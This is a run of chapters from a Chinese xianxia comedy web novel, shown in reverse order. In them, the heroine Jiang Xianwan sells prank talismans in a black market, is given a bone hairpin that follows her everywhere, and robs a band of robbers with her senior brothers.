修言难以启齿的别过脸,“没,没什么,我,我剧烈挣扎,抵死不从,他们一怒之下打晕了我。” 剧烈挣扎? 抵死不从? 苏清流伸手捂上江献晚一只耳朵,白子夜跟着捂上她另一只。 江献晚想到他胸膛上好像确实有几道红印,眼神立刻不对了。 我去! 这傻孩子该不会是被……揩油了? 林玉锦生怕他再说出什么放浪形骸的话,荼毒自己的小师妹,立刻拉着江献晚利落告辞。 苏清流收好欠条,同白子夜抬脚跟上。 他们刚刚转身,身后便传来拳头击肉,边哭边揍的动静。 “我让你摸我脸!” “我让你掐我月匈!” “我让你揉我的女乃!” 四人:“……” 三个少年顿时拉着江献晚跑的更快了! 换好衣裳,江献晚哄走小紫,沉重地走出去,一脸死了丈夫的表情,“大师兄,我见鬼了。” “什么鬼?”苏清流诧异道。 江献晚抬手拔下簪子,狠狠一掷,将其死死钉进树干,“请看。” 她话音未落,簪子慢悠悠破木而出,在四双眼睛的注视下,掉头折返,自顾自找到原来的位置,插进江献晚乌发中。 白子夜有些惊讶,“这簪子你在哪买的?怎么跟个人似的?” 林玉锦去摸江献晚脑袋上的簪子,被后者作势一刺,连忙收回手。 苏清流眉心微蹙,手中灵力涌动,想将它强势抓过来。 簪子错身避开,掉头刺破他的灵力就要刺入他掌心,被江献晚眼疾手快抓了回来。 她将事情的来龙去脉大概讲了一下,换来三个弹指神功。 白子夜唇角的笑意早就挂不住了,磨着牙,“小师妹翅膀硬了?” “没。”江献晚绝不承认自己被三个师兄盯着,怂了,忙扯了扯黑着脸的苏清流,卖乖道:“大师兄别生气,我去找花美人看看。” 只是,在回宗的路上江献晚春潮期忽然发作,差点从空中栽下来,幸亏苏清流及时接住了她。 白子夜连忙拿了遮掩气息的衣袍,严严实实将她从头裹到脚。 一路狂奔,赶回太虚宗。 苏清流将仿佛从水里捞出的江献晚安顿好,抿着发白的唇,驻足在屋外。 白子夜站在原地,眉弓压的极低,攥着灵笔的手指关节咯咯作响。 他们除了等着,却什么都做不了。 林玉锦束发凌乱,青绸早已脱松,几缕发丝黏在汗湿的面颊,疾奔向花不休的院子。 花不休透过犹似蝶骨的窗棂,眼底似有竹叶纷落如雨,“没有办法,只能忍。” 他起身,青色衣缘掠过处,竟生出层层不成形状的火纹涟漪。 下一秒消失在房间,来到侧院。 白子夜双目薄红,缓缓侧过眸,“师尊,真的没旁的好法子了吗?” 要知道,在未知的情况下陡然失去灵力,对一个修士来说,会是一种怎样的致命打击。 虽然小师妹奇奇怪怪的招数层出不穷,有自保能力。 可随着修为越高,那种感觉便越难以忍耐。 花不休立在桃花树下,视线被密密匝匝的花瓣掩映,山风卷起广袖时,腕骨在月光下泛着冷瓷般的光泽,仿佛稍微用力,就会化作齑粉溃散了去。 他沉默地望着紧闭的门,颈侧浅青色的脉络若隐若现。 许久,听到自己模糊的声音,“飞升,或者寻一人结为道侣。” 在这之前,江献晚只能凭着一股劲忍。 林玉锦微怔,喃喃道:“结为……道侣?” “嗯。” 江献晚不会愿意的。 她连北帝尊都看不上,脑子里除了修炼就是赚钱。 他知道江献晚不想依附任何一个人,最起码,绝不会是现在。 花不休眼睫低敛,碎成细碎的金箔,突觉有异,眸子猛然掀开。 三个少年面色一变。 只见周围的灵力疯狂的从四面八方涌来,汇聚成肉眼可见的匹练,钻入江献晚的房间。 林玉锦面色愈发苍白,“怎么回事?” 花不休不言不语,挥袖破开四面八方的灵力,两指并拢,一道透明结界悍然拔地而起,将屋舍笼罩。 这个节骨眼,进阶可不是好现象。 若是心境不稳,很可能会影响根基,再严重走火入魔。 更何况在这么一种情况下,江献晚根本无法调动梳理任何灵力。 若这些灵力全挤在元婴中,无休止的涌入,那…… 那些灵力竟直接穿过了他布的结界! 花不休蓦地绷紧脊背,那截露出袖口的苍白骨腕,微微颤抖起来。 “江献晚。” 他挥开结界,一步行至门外。 听到屋中一声含着低低呜咽的甜腻嗓音,迈开的脚步,却在骨指触及门板时倏尔凝滞,眉心火纹跳动成火光。 整个凤仪台,乃至更广阔距离的灵力还在疯狂的涌来,无休无止,似要将整个太虚宗灵力抽尽一般。 花不休蜷了蜷指骨,周身似有虚影震荡,指尖重新贴在门上的那一刻,一道虚幻的人影忽然踏空而至。 “止步!” 花不休眉眼一厉,回身间,青色发带似流风回雪般掠过山涧,沉声拦住来人。 苏清流三人心中骇然一震,这才发现院中不知何时出现一人。 那人一身云缎长袍,素白广袖被夜风卷起层层海浪,万千银辉在他周身流转,竟似将银河揉碎在衣袂间。 昆山玉碎,如珠如露,雪松白梅般,恍若谪仙的姿态,让人一眼便能轻易猜到来者何人。 “帝,帝尊?”林玉锦有些错愕。 苏清流和白子夜亦是一愣,却没行礼,纷纷露出警惕之意。 云为泽霜白的袍角带起零星花瓣,乌发犹如丝绸,随风掀起。 他浅浅侧过眸,有些无奈,“这种时候,你出手只会让她更难受,我可以帮她。” 说罢,错身越过双眸如孤峰冰棱倒悬的男人,轻轻推开了那扇紧闭的房门。 花不休猝然攥紧十指,夜色中白的发青,威压外泄的瞬间,整个凤仪台的气流为之一滞,惊起鹤唳,远处飞瀑碎做万千银鳞。 他阖了阖眸,还是伸手拦下了眼底掀起一片猩红的三个少年。 云为泽说的不错。 他是变异火灵根。 出手的话,江献晚只怕会更受不住。 第 89 章 分期付款 那六人见他们停下脚步,手同时扣上腰间的武器,眼露讥讽和兴奋。 显然,两方人都想打劫对方。 仅仅一个眼神碰撞,大战一触即发。 江献晚唇角微勾,指尖探向腰间藤球,在睡的东倒西歪,还没意识到事情严重性的小紫未能察觉时。 刷地一下……一片火花带闪电! 两个首当其冲的元婴浑身抽搐着……躺平了。 小紫:……!她真的不当人! 白子夜嘻地一笑,声音端的无害,却听的剩余四个金丹邪修转身就跑。 当然,江献晚绝不可能放走他们,撕不开死死缠上她腰,激烈谴责她的小紫,指尖凌空勾勒,四道泛着金光的符纸眨眼成型。 四张爆炸符炸晕四个小朋友。 地上多出六人。 白子夜和林玉锦兴冲冲奔过去,开始扒劫匪的芥子囊。 苏清流转懒懒散散走到昏死过去的少年身边,双指一并,点在他眉心。 少年猛喘出一口气,穿着裤衩悠悠醒来,乍然看到身着黑袍的苏清流,吓得浑身一哆嗦。 余光瞥见蹲在地上扒邪修衣裳的三人,又是一懵。 劫匪劫劫匪? 那他算什么? 算他霉上加霉? 苏清流淡定地表明他们并无恶意,言罢,手微微往前一摊,“我们救了你,一万。” 修言:“……”他的命,真的好特么值钱。 来不及道谢,修言窘迫地抱住凉飕飕的胸膛,面红耳赤,“我,我没钱。” 又忙道:“不过,我叫修言,师承道明宗清静真人,各位道友可以留个名字,容我日后分期付款,你们看行吗?” 别说一万,一毛他也没有啊! 修言接连被劫两次,欲哭无泪,很想仰头问苍天,他到底是犯了什么错! 扒人衣裳扒的正欢的三人交换了一个眼神。 好家伙! 道明宗! 就是那个穷的叮当响,饿了就张嘴喝西北风的道明宗? 修言可不就是道明宗掌门座下首席大弟子! 听说,他师尊抠搜的程度,跟花美人有得一比。 宗门都是啃馒头就咸菜的,再穷点的时候,咸菜都没有。 不过,无妨,大师兄早有准备,娴熟的摸出一张纸,言简意赅,“写,分期十二个月。” 打个欠条,不怕他赖账。 修言:“……” 他哭着接过纸,写下自己的大名,垂头丧气道:“你们叫什么?” 江献晚起身,打断正要自报姓名的苏清流,“他叫熊大。” 万一他们打劫友宗弟子的事传出去,长老们肯定要给他们一顿色香味俱全的竹笋炒肉。 苏清流:“……” 修言一愣,抱拳,“熊大兄。” 苏清流:“……” 有了江献晚的开头,林玉锦无师自通,指着白子夜道:“这是熊二,我是熊三,这是熊四。” 还很骄傲的拍拍胸膛,“我们是一个娘生的。” 说着,很热情地递给他一身衣裳,顺便摸了他一把肌肉,“兄弟,肌肉练的挺好的,这是你的衣裳吧?快穿上吧,一千。” 修言:“……”接过衣裳的手一抖。 不是。 他穿自己的衣裳,还要付给他们一千?! 修言短短一会儿,怀疑不知几遍人生。 苍白着脸,艰难的在第二波劫匪的目光中穿好衣裳,还不得不道个谢,“多……谢。” 谢谢四头熊! 让他穷上加穷! 挣到一笔巨款外快,四人的表情跟他形成鲜明对比。 白子夜心情颇好,好奇的问了一句,“道明宗附近不是也有黑市,你怎么跑这来了?” 修言顿时背都挺不直了,声若细蚊,“我们听说长河郡出现一个新的小秘境,就赶过来了。” “们?”林玉锦左瞧瞧,右看看,“不是就你自个?” 提到这个,修言露出怀疑人生的绝望,他吸吸鼻子,“我那三个师弟还都被扣押在黑市。” 一想到他们这十来天经历的一切,整个人摇摇欲坠,宛如经历过狂风暴雨,被风吹雨打的小白花。 看的林玉锦和江献晚一脸我懂的同情。 被扣押在黑市啊,啧,刷盘子刷碗准没跑,难怪哭的这么委屈。 当然,他们绝对不承认,对方的委屈,有他们四个的功劳。 “也是我们倒霉,我们刚赶到,秘境就被北境万古宗的人不知怎么搞关闭了。” 苏清流四人默。 修言很快忘记刚才的伤痛,话唠的本性尽显,很难让人不怀疑他的名字是怎么得来的。 “你说北境的弟子跑我们南境秘境干嘛?这就罢了,我们师兄弟想着来都来了,不能白跑,于是就来到了这里的黑市。” 说着说着,他再忍不住,汪地一下哭出声,“我们的芥子囊不知道被哪个杀千刀的狗东西偷走了!” “没办法,我们四个一合计,准备打擂台挣点回家的路费。” 原本想着他们大门大派,又仗着皮糙肉厚很抗揍,觉得金丹的散修肯定打不过他们。 于是…… “我们去了元婴期的擂台,想多赚点钱。” 林玉锦凑到江献晚耳边,“这哪是挣钱,这是找打来了。” 修言含着泪继续道:“万万没想到,黑市的散修这么厉害。” “我们师兄弟四人被一个小姑娘摁在擂台上摩擦。” 江献晚:“……” 不得不说,这个世界,真的很小。 “最后,我们法器都输没了,还倒欠三千灵石,只能刷碗还债。” 白子夜唇角的笑意一僵,显然回想起了曾经他们四人摸花楼少年尾巴的悲痛历史。 温和挤出一句话,“嘻,那你怎么不联系你师尊,清静真人?” 修言睁着清澈地大眼睛,“我们的玉简在芥子囊里!” “再说,我哪敢啊。” “……那你怎么出来的?” 修言心口一痛,整个人都在摇曳,“我对着天道发誓说三日之内必拿着赎金回来,他们才放我出来的。” 难怪,誓言可不是随便乱发的,立下了若是做不到,等着玩完。 很显然,连老婆都输没了的人真的是走投无路了。 “谁知。”他看向地上躺尸的劫匪,声音一度哽咽,“我好不容易刚出黑市,就碰到了六个劫匪,他们见我身上没东西,扒了我的衣裳,甚至……” 第 88 章 打劫劫匪 “谢?”他露在半张银质面具外的面颊,如霜色里的胭脂,睫影交错,轻轻一眨,流转出秾艳的滟澜,“不如以身相许如何?” 小紫:……? 谁许? 这个诡计多端的女人? 他眼睛长脚底板了吗? 江献晚淡定推开他的脸,“我不喜欢随便的货色。” 小紫:…… 少年哽了三秒,“我第一次。” 江献晚没闲心管他第几次,“不好意思,已经许了六个人,想休息一天。” 小紫:……你才是那个随便的货色吧? 少年:“……” “这样啊。” “要不,你踹一个,总有玩腻的,或者再收一个。我能力还是很罕见的,你考虑考虑。” 江献晚似乎果真考虑了一下,“行,等需要了我考虑考虑。” 少年像是信了她的鬼话一般,眉眼一弯,“行,那我先定下了。” 抬手间,一根通体乳白的发簪插进江献晚乌发中,音色甜腻,缠绵入耳,“我等你。” 江献晚:“……?” 望着眨眼淹没在人群中的背影,江献晚随手拔下簪子,朝着一棵树用力一掷。 小紫:…… 江献晚:“……” 下一秒。 小紫看着调头插进江献晚乌发中的簪子:你完了,他好像赖上你了。 江献晚沉默半刻,不信邪,拔下簪子,掏出锅将其倒扣,又拿出两摞板砖,压了上去。 无视路人的目光,弹去衣袖上的灰尘,起身离开。 三秒后,小紫瞅着她的脑袋再次无语。 江献晚脚步一滞,视线落在锅上的洞眼,默默卷起袖子。 高高屋脊上,少年双手托着面颊,噗嗤笑出声。 “她力气真的好大啊。” 黑蛟早就憋不住了,呲溜从他骨腕上滑下一截尾巴,仰起脑袋,声音惊悚,“您要做妾?!” 少年:“……我也不想,可……她抱我了啊。” 黑蛟:“……” 阁楼下,江献晚脚踩发簪,手中板砖高高扬起,调动浑身灵力。 一砖,两砖,三砖,四砖…… 甚至拿出一把大锤抡了下去。 小紫都看不过去了:这么硬的吗? 一炷香后,江献晚怀疑人生的蹲在地上。 她这板砖足足百斤重,竟然砸不断一根人骨头做的簪子? 别说砸不断,就连一丝痕迹也未留下。 江献晚莫名有点后悔。 在她沉默的注视下,簪子得意地抖落尘土,慢悠悠的朝着她脑袋比划了两下。 而后挑选了个最合适的位置,再慢悠悠地扎进她脑袋上。 江献晚黑着脸起身,决定回去让花美人替她碎了这根簪子。 她刚一转身,看到一个熟悉的背影,立马倦鸟归巢似地走了过去。 白子夜正盯着两块阵盘,眉也拧着,似乎在纠结选哪一个。 江献晚凑过来,“喜欢当然是都要啊。” 白子夜幽幽道:“我买了阵旗,还有几种特殊的天材地宝,花了十万。” 江献晚拍拍他的肩,“没关系,我刚才赚了几十万,今晚师兄所有的消费,小师妹买单。” 符纸和锅,倒贴了差不多两千万。 当然,这个先不跟他说,怕他心疼。 白子夜一点不怀疑小师妹的赚钱能力,高高兴兴将阵盘一收。 江献晚目光落在一只看起来特别具有年代气息的毛笔上,觉得还挺好看。 于是道:“这支笔可以送我们吗?” 摊主难得碰见大主顾,嘴笑的都要合不拢了,自然不吝啬。 见江献晚指着那只最没用的笔,立刻挑出两根最好的,“那只笔写不成字,这两支送给你们吧。” “写不成字?” 两人的好奇心瞬间被勾起。 白子夜看了看,“如何写不成字?” 摊主也很纳闷。 他试遍所有的墨汁,只要是能蘸的东西,连水都试了。 不管留下什么痕迹,一炷香后,字迹便会消失的一干二净,根本看不出来有书写过的丁点模样。 他拿起笔蘸了蘸墨水,在纸上随便写下两行字,“别着急,一会儿就没了。” 两人耐心等了一会儿,看着凭空消失的字,双双露出惊讶的神色。 摊主又掏出几个装有兽血的瓶子,在桌面上勾勒,“能试的我全都试了,不管写在哪,都没用,往笔上滴血也没用。” 本来还以为捡到了什么神笔,高兴的不得了,结果,啥也不是。 卖不掉,根本卖不掉。 送都没人要。 “还真是。”江献晚接过笔,用上好的符墨和其他液体写了满满一张,等了会儿,仍是如此。 白子夜看的新奇,“倒是稀奇。” 江献晚嘿嘿一笑,“你说要是小师兄罚写的时候用这支笔……” 白子夜“嘻”的一声,跟着笑了一下。 摊主:“……”你俩可真损啊。 最后,大大方方送了他们三支笔。 江献晚和白子夜一边试一边沿路返回,打算和苏清流他们二人汇合。 苏清流恰巧刚到出口,他一眼就注意到江献晚乌发间多了一根发簪,从袖中探出一截骨腕,轻轻握上她的手腕,“小师妹愿意戴发簪了,走,大师兄再给你买一些。” 素日江献晚嫌碍事,同他们一样,都是用发带,很少用发簪。 “不是。”江献晚摸了摸发簪,正要吐槽两句,林玉锦鼻青脸肿的走了过来,手臂虚虚搭在她的肩上,“累死我了,走,回家吃饭,小师兄买了很多好吃的。” 四人来到黑市外最近的密林,准备换衣服。 只是,当看到六个浑身包裹严实的黑衣人,围着一个昏死过去,浑身只穿着裤衩,肌肉硬朗的少年,纷纷露出火热的目光。 早听说黑市外有专门埋伏打劫的犯罪团伙,他们还是头一回碰见。 林玉锦多瞅了两眼,还拿胳膊去碰江献晚,意思不言而喻。 江献晚眸子锃亮。 这六人浑身皆散发着一股难闻的气息,一看就是不走正道的邪修。 肯定打劫了不少好东西。 那六人听到动静,目露凶光,警惕地扭头,直勾勾看来。 苏清流四人目不斜视,淡定地像是走在花间小道。 暗地里传音。 “劫?” “劫!” 三人异口同声! 劫匪岂不是更有钱? 再说,打劫劫匪是多么有趣,而又快乐的一件事! 三个少年同时顿下脚步,一致看向江献晚,“小师妹,加油。” 江献晚一点头,“好的。” 第 87 章 定下了 墓碑? 是她想的那个墓碑吗? 不至于,真的不至于。 江献晚无言以对,静静看他表演。 小老头低头在衣襟里掏啊掏,掏啊掏,掏啊掏。 江献晚跟小紫都看累了。 小紫:……咦!泥丸子都搓出来……哕! 江献晚看着小老头一双黑黢黢的手,探进衣襟一顿认真地猛搓,眉尖唇角抽搐,默默转身。 正要偷溜,不见小老头如何动作,五指快如闪电,一把扣住了她的手腕。 江献晚惊讶自己竟未能避开之余,反射性的就要给他一个过肩摔。 却听咚地一声,小老头直挺挺地……跪了?! 小老头:“……?!”他是怎么跪下的? “倒不必行如此大礼。”江献晚捏着跟小老头一样饱经摧残的破石牌,惊讶地开口。 小老头眼含泪花,头摇的跟拨浪鼓似的,像是感动坏了,“没事,您让我跪吧。” “我太感动了,呜呜呜呜……” 踏破铁鞋无觅处,得来全不费工夫! 哪怕她的脸在他的记忆中被模糊,哪怕碑还在昏睡。 可当她接过碑的那一刻,让他刻在骨子里的臣服,瞬间动了! 就是她! 他终于完成任务,可以开开心心离开这个凡尘,回去继续享受他美好的神仙生活了! 想到这俩月过的苦逼日子,小老头又哭又笑,跟吃了疯药似的。 小紫:…… 江献晚:“……” 她三步一个猛回头,小老头始终笔直地跪在地上,举着芥子囊,泪流满面朝她挥手。 好吧。 看起来确实感动坏了,他肯定从来没要到过这么多的钱。 江献晚看了看巴掌大的墓碑,除了确实像块缩小版的墓碑,没看出什么名堂,便随手收入芥子囊中。 她很快将这个小插曲抛在脑后,带着小紫从南到北挨个逛。 虽然不理解,但还是如它所愿。 毕竟,这劫雷,电人挺麻的。 在又被它戳了一下的时候,江献晚终于松了一口气。 拿起一个用妖藤编成的镂空圆球,挑眉询问。 显然,人家小紫要的就是这个。 欢天喜地将自个从腰带搬到藤球中,贪吃蛇一般,扭曲着窜来窜去。 江献晚将它坠在腰上,进了一家卖符纸的铺子,“最好的符纸,来五十万张。” 掌柜以为自己听错了,“多少?” “五十万。” “符纸?” “不然呢,手纸?要高级的,再来一百桶最好的符墨,老板快点,我赶时间。” 掌柜还从来没接过这么大的单子,看到她手上捏的那张代表着黑市最高级别的黑卡,咯噔回神。 这就是那个在黑市擂台,赤手空拳,暴打无数修士的疯狗少女? 他一边偷看江献晚,费了点时间将东西准备齐,双手呈上黑卡,脚步虚浮,做梦似地亲自把她送到门口。 江献晚转脚去了兵器铺,“老板,打几口锅。” 掌柜:“……?” 他是打锅的吗! 找打! 正要发怒。 “用最贵的材料。” 一声天籁之音。 兵器铺老板看见江献晚手里的黑卡,神情来个大转变,笑眯眯道:“尊敬的客人,请问您想要什么样的锅呢?” 江献晚狐疑地瞅了眼方才还凶神恶煞的壮汉,忽然抽风似地对着她笑的荡漾。 “炒菜的锅,大的。” 掌柜:“……” 她把他当成什么人了! 他是打炒菜锅的吗! 可见她手里的黑卡,赶人的手,一转,“请!” 算了。 有钱的是大爷。 况且,听说这疯狗打人挺凶的。 “大概多大?” 江献晚看他脸乍青乍绿,又掺杂着黑,似乎打口锅对他来说痛苦极了。 并不在意,想了一下,一比划,“能装进去这么大一个人。” 掌柜嘴角抽搐。 “尊敬的客人,您想要几个?” 江献晚掰着手指头数了数,“先来十个吧,一定要用最好的材料。” 掌柜就爱听这话,笑的合不拢嘴,“成!找我你算找对人了!” “用万年精铁怎么样?”他拍着精壮的胸膛保证,“就算是化神期也甭想留下一丝痕迹。” 江献晚眼睛一亮,“行!” “阵法加吗?” “不加,我就是炒个菜。” 阵法二师兄修的好啊,还能省下一大笔钱。 掌柜:“……”炒菜? 用万年玄铁锻造的锅炒菜? 她家有多少人啊? 暴殄天物! 尽管有点小失望,不过能把镇店之宝,价位最高的铸器材料卖出去已经很满足了。 他看了一眼她手里的黑卡,咬牙,肉疼道:“一口锅五十万极品灵石,再送你个小点的锅。” “行!” 江献晚心中一动。 小锅好啊,再过两年江行行是不是就能站在灶台边颠锅,给她炒菜了? 江行行生来神力,刚出生三个月,一脚蹬飞了风回雪,墙都塌了。 颠个锅还不是轻轻松松。 意识到自己可耻的念头,江献晚暗暗唾弃自己一把。 当然,也只是三秒。 实在是她儿子太优秀。 “只是万年精铁精铸起来颇费功夫,我想亲自给您,呃……打锅,要等上一个月,您需要先交一半的定金。” 江献晚爽快地点头,付过定金,见时间差不多,打算跟师兄们汇合。 她穿过接踵摩肩的人潮,后背猛地被撞了一下。 路两旁摆的都是摊位,左右前后行人来往,江献晚避不开,脚下意识一刹车,整个人还是惯性的扑进迎面而来的怀抱,双臂正好圈上少年的脖领。 “……抱着舒服吗?”片刻后,少年问道。 江献晚:“……挺舒服的。” 得有八块腹肌。 少年面具下色若桃瓣的唇微勾,若隐若现浮出浅浅的小酒窝,尾音不自觉的上扬,低低嗓音缠上来,似甜而不腻的脂膏,“那……再抱会儿?” 夹在两人中间的小紫:……你人还怪好勒。 江献晚撒开手,想说一句大可不必,后背又是一重,双手再次攀上少年的肩。 两人:“……” 小紫:…… 它偷偷地戳了戳江献晚:你是不是故意的? 江献晚两只手搭在他肩膀上,面不改色,“还是再抱一下吧。” “好。”少年唇角勾起明媚的弧度,修长的指骨扣上江献晚的腰肢,护着她挤出人群。 江献晚从他身上下来,“多谢。” 第 86 章 送你个墓碑 王大宝不在乎的摆手,“这个不是重点,如花,你想说啥?” 江献晚盯着他的眼睛,“大宝,赏金咱俩一人一半。” “赏金?”王大宝迷茫了一下,眼睛一转,足足盯了江献晚十秒,激动地又一拍案,“我怎么没想到!” 拍完了,鬼鬼祟祟压低声音,猥琐一笑,“去太虚宗的万古宗弟子也是四人,所以。” 江献晚捏住他的嘴,“宝,去吧。” 能在黑市混的,可想而知,各个都是人精。 更何况这里是南境,自然不怕他北境。 王大宝连连点头,“如花,你真是我的财神爷。” 他又不好意思地搓搓手,扭扭捏捏,“我就这么分你一半,太多了,我拿十万就成。” “滚蛋!我都没谢你帮了我大忙。”江献晚笑笑,学什么都贼快,“跟我客气个鸡毛。” 王大宝感动坏了,神色倏尔一变,郑重而认真地道:“如花,你这个朋友我王大宝交定了,以后有啥事需要我尽管提,甭跟我客气。” 这小丫头年纪看着小,路子那叫一个野,做事爽快又讲义气,让他这个在黑市待了一百年的人精都忍不住心生好感。 “成。”江献晚也不跟他客气。 王大宝恢复一惯嬉皮笑脸,手一挥,迫不及待,“我现在就派人去揭了那张告示!” 去晚了,万一别人也想到了怎么办? 那可是一百万的灵石! 小紫见王大宝脚下生风的跑了,戳了戳江献晚:你可真损。 不过,它喜欢。 江献晚不置一词。 林轻染挨了一顿胖揍,定然要继续养上几日,这几天想来伤已大好,就要离开太虚宗。 她不介意,给女主找点小麻烦。 她又不是傻的,女主每次看她,那一闪而逝的寒意,就跟个刀片似的。 收过账,江献晚将散落的头发扎成高马尾,而后换了身男款的玄色衣袍,面具换成小丑样子的面具。 她可没忘记跟在身后,蹲在书阁外的几条小鱼。 倒不是打不过,主要嫌麻烦。 江献晚本就生的高挑,单从背影来看,活脱脱一个风度翩翩少年郎。 有种冷漠疏离的强大气场,让人不敢轻易靠近。 从前面看…… 小紫戳了戳她的胸。 “流氓!”江献晚重重拍开它,双手环抱挡在胸前,趁着客人增多,慢悠悠地当着几条鱼的面走了。 出了书阁,转到另一条小巷,被一个邋里邋遢,衣裳破破烂烂的小老头吸引了视线。 江献晚脚步停顿一瞬。 小老头盘腿坐在地上,面前放着一个盛水都漏的破碗,眉飞色舞,连比带划对着来来往往的行人一顿激情输出。 “你好,我是天道使者!准备下凡寻找有缘人拯救这个世界,却被一股诡异地能量打落!” “对!我其实没有死,一直在沉睡。我之前遇到一个很坏很坏的狗东西,它残害了我的肉体,吸走我的仙力,把我扔进了时空缝隙。” “现在本使复活了,只要将本使的仙力复原就可以拯救世界,所以本使现在急需要一笔钱,只要你给我5000块灵石,助本使寻到有缘人,复仇成功,就给你记一个大功,拯救世界后封一个神仙给你做。” 路上行人:“……” 江献晚:“……”我特么还天道呢! 离谱给他妈开门。 她正要转身离去,却听小老头激动地喊住了她,“等等!” 芥子囊中自怨自艾,自顾自怜的某把剑一个激灵:爷爷在此! 江献晚:“……” 屏蔽芥子囊中的动静,停下脚步,转过身,“您在叫我?” “对!就是你!” 小老头咻地一下从地上爬起来,蹿到江献晚面前,一顿上下猛瞅。 江献晚也不动,任由他看。 小老头装模作样,捋了捋不存在的胡须,“奇怪,我见你为何有种似曾相识的感觉?” “难道,这就是传说中的缘分?” 江献晚:“……”要钱的缘分吗? “我乃。” “你乃天道使者。”江献晚打断他。 小老头羞涩一笑,“我被一个狗东西。” “残害了肉体,吸走了仙力,扔进了时空缝隙。”江献晚悠悠道。 “对!”小老头手舞足蹈,“咱俩有缘,你给我五千灵石,等我飞黄腾达,重返仙庭,定封你个神仙做做!” “一天到晚搁这吹牛逼。” “这台词我都听八百回了,都倒背如流了。” 两个路人撇撇嘴从他们中间穿过。 小老头:“……” 江献晚:“……” 小老头脏兮兮的面皮一红,弱弱地伸出五根手指头,“那个,五百也不是不行。” 江献晚:“……” 小老头偷偷打量她的神色,默默缩回一根,“要不,四百?” 江献晚瞅他。 “三,三百?” “一、一、一百?” “十十十十十块?” “一块!一块行了吧!”小老头眼泪汪汪,捶胸顿足。 小紫:…… 江献晚一手摁住戳她的腰带,一手摸出一个芥子囊塞他手上,“一万,不用找了。” 小紫:…… 小老头傻了,“一万?” “你,你就这么水灵灵的给我了?” 江献晚:“不然呢?再来个交接仪式还是颁奖仪式?” “你就不怀疑我是个骗子?” 江献晚狐疑地瞅他一眼,“你不就是骗子?” 小老头哽了一下,“那你还给我?” 江献晚熟练的摆出忧伤地表情,似痛苦极了,“没办法,我钱太多了。” “花不完,根本花不完。” “有钱人的快乐你根本不懂。” 小紫:…… 小老头:“……” 可恶,被她装到了。 大装一波的江献晚,指尖一拨长发,走了。 她走出两步,突然回头,小老头吓的抱紧芥子囊,一脸警惕,“你该不会想反悔吧?” 江献晚:“张嘴。” “啊。”小老头下意识张嘴。 江献晚捏着一个拳头大的水果往他嘴里一塞,顺便捣了两下。 小老头登时白眼往上翻,两手掐脖,差点噎挺过去。 小紫:…… 江献晚:“好吃吗?” 小老头两眼放光,“刚才你喂我的是什么?” “苹果核。” 小老头:“……”核还挺大。 江献晚:“说谢谢我。” “……谢谢你。” 江献晚满意地转身。 “等等!”小老头再次喊下她。 某把剑又是一个反射:爷爷在此!爷爷——在此——! 江献晚:“……” 她幽怨地回过头,“你再喊这两个字,我就把钱要回来了。” 小老头当即一个迅雷不及掩耳之势,将芥子囊往胸前一揣。 清清嗓子,挺直背,微微抬起下巴,作出高人模样,“我送你个墓碑。” 第 85 章 宝,去吧 少女无辜眨眼,补充道:“只是有个缺点,就是现在这样。” 大哥咬紧牙关,夹紧玉臀,双腿交错成麻花。 大妹子……你不早说! 然而又是咚咚惊天几声巨响,大哥羞耻的泪流满面……好生绝望。 江献晚满意颔首,“你先放着。” 言罢,刷地一下又掏出一张,发出恶魔般的笑声,“诸位,这张是扶墙而出符。” 一群人双手环胸,连连倒退,仿佛看到了一个想要摧残他们玉体的邪修。 终于,有人弱弱举手,“何意?” 江献晚客气地笑,“就是出恭符,功效十二个时辰,配合美容养颜符,效果翻三倍。” 一挑眉,“谁来试试?” 众人猛地又退后三米。 “不不不!不用了!” “我们相信你!” “对对对!” 见江献晚失望的收起符纸,摇头要走,又壮着胆子拦下她。 “扶墙而出符给我来三十张!我要让张三拉屎拉到死!” “我也要!我给我后爹用!” “给我来十张美容养颜符,再来五十张流星符!还有放屁和扶墙而出符!” “还有什么?我全要了!” 江献晚再从人堆里挤出来,面具都歪了。 小紫:死女人,真特么的损到家了。 江献晚摁着它,“别戳了,今晚所有的消费,由我江公子买单!” 小紫瞬间满意。 不过,有人盯上了江献晚。 兜里揣这么多灵石,自然是惹人眼红的。 黑市大多是穷凶极恶之徒,杀人夺宝这类的事每日跟喝凉水似的,常见的很。 见惯了这些的江献晚丝毫不慌,晃晃悠悠来到一家三层小阁楼。 此时没几个客人,她轻轻一拍桌子,“给我来三本书!” 掌柜打着哈欠,眼皮子也不抬,“什么书?” 江献晚压低声音,“万丈高楼平地起!” 掌柜双眼一亮,噌地站了起来,“辉煌只能靠自己!” 而后,抬起一只手臂高举在半空中,“大河弯弯向东流!” 江献晚嘿嘿一笑,“我一人能放十头牛!” 小紫:…… “天王盖地虎!” “我是你老……” 掌柜忙打断她,“如花!” “掌柜!” “如花!” “掌柜!” “如花!” 小紫恶寒的抖了抖。 “行了!”江献晚又是一拍桌,“给钱!” “请!这边分赃!” 掌柜掏出一本账单,“请看!十九万六千!” “给您合个整,二十万!” “还行。”江献晚掏出两本,“后续。” “对了,上次的事儿多谢你了。” “说这客气话干啥,随手的事!”王大宝一摆手,捧起书两眼放光,“偏执魔皇囚禁强制爱!呜呜……终于完结了!” 不过,想到什么,他幽怨道:“如花,你最近有点飘,怎么才两本?” “女主被阴郁小师弟夜夜强制爱的后续呢?” “咱们的黑粉都快把我的店拆了!” “如花我最近太忙啊。”江献晚指尖点在桌面,忧桑地四十五度角望天,“我回头加加班。” 最近累的跟狗似的,她哪里有时间加班。 王大宝已经习惯她嘴里时不时蹦出一个新词,拼命晃她,“你可别骗我。” “骗我我哭给你看!” “知道了知道了,一把年纪害不害臊。” “不害臊!”王大宝随手推给她一盘瓜子,言辞激动,“害臊有钱吗?害臊能当饭吃吗?害臊能让我走向辉煌走向巅峰吗!如花!这不是你教我的吗!” “你变了!你不爱钱了吗!” 如花·江献晚无言以对,只能拿两根手指头捏住他的嘴巴,手动闭麦。 “最近黑市发生什么有趣的事没?” 说到八卦,王大宝瞬间来了兴致,“真别说,前好几日前黑市来了三男一女,那女的去元婴那打擂台,你猜怎么着?” 江献晚挑眉,不动声色,“怎么着?” 他激动地一拍桌子,“那女的真特么绝了,一共十三场,连胜!” “狂的很,又加了三场,直接刷新了元婴排行榜,登上榜首!” 江献晚:“……” “邪门的是,跟她打擂台的人都挺倒霉的,雄霸天知道吧?” “就是被你捶了俩熊猫眼的那个!” “雄霸天刚跳到擂台上就摔了个狗吃屎!门牙磕掉了两颗!后来再见他,镶了俩闪闪发光的大金牙,别说,还挺好看,搞得我都想整一嘴。” 